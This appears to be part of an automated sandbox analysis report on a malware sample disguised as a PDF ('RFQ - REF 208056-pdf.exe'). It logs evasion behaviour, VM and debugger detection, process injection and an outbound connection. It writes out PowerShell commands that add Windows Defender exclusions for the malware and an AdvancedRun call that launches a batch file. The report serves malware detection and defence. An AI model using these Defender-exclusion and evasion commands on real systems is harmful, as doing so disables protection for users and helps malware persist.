Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to delay execution (extensive OutputDebugStringW loop)

Show sources

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Section loaded: OutputDebugStringW count: 1933
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Section loaded: OutputDebugStringW count: 1937

Source: C:\Windows\explorer.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4594			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2345			Jump to behavior

Source: C:\Windows\System32\svchost.exe TID: 6860	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5236	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5236	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\conhost.exe TID: 6760	Thread sleep count: 67 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6212	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6212	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: powershell.exe, 00000009.00000003.517902896.0000000005964000.00000004.00000001.sdmp	Binary or memory string: Hyper-V
Source: svchost.exe, 00000003.00000002.519119102.000002451B6C0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 0000000F.00000002.512322019.0000000001329000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}\
Source: explorer.exe, 0000000F.00000002.512322019.0000000001329000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\b8b}\
Source: svchost.exe, 00000002.00000002.530073283.000001EAA1C4D000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000002.00000002.505437886.000001EA9C629000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW@0
Source: svchost.exe, 00000003.00000002.519119102.000002451B6C0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: svchost.exe, 00000003.00000002.519119102.000002451B6C0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 0000000F.00000002.512322019.0000000001329000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:DB
Source: svchost.exe, 00000003.00000002.515379536.000002451B067000.00000004.00000001.sdmp, svchost.exe, 00000004.00000002.504484042.0000027C99E29000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: svchost.exe, 00000003.00000002.519119102.000002451B6C0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: powershell.exe, 00000009.00000003.517902896.0000000005964000.00000004.00000001.sdmp, powershell.exe, 00000011.00000002.524764005.0000000005201000.00000004.00000001.sdmp	Binary or memory string: l:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe

Code function: 11_2_0040289F LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_0040289F

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe

Network Connect: 172.67.172.17 80

Adds a directory exclusion to Windows Defender

Show sources

Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' -Force
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe' -Force
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe' -Force	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

Memory written: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe

Code function: 11_2_00401C26 GetCurrentProcessId,memset,memset,_snwprintf,memset,ShellExecuteExW,WaitForSingleObject,GetExitCodeProcess,GetLastError,

11_2_00401C26

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process created: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process created: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe' /SpecialRun 4101d8 5504	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1

Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Process created: C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run			Jump to behavior

Source: powershell.exe, 00000009.00000002.536326386.0000000003B60000.00000002.00000001.sdmp, explorer.exe, 0000000F.00000002.515784160.00000000019E0000.00000002.00000001.sdmp	Binary or memory string: uProgram Manager
Source: powershell.exe, 00000009.00000002.536326386.0000000003B60000.00000002.00000001.sdmp, explorer.exe, 0000000F.00000002.515784160.00000000019E0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: powershell.exe, 00000009.00000002.536326386.0000000003B60000.00000002.00000001.sdmp, explorer.exe, 0000000F.00000002.515784160.00000000019E0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: powershell.exe, 00000009.00000002.536326386.0000000003B60000.00000002.00000001.sdmp, explorer.exe, 0000000F.00000002.515784160.00000000019E0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Queries volume information: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
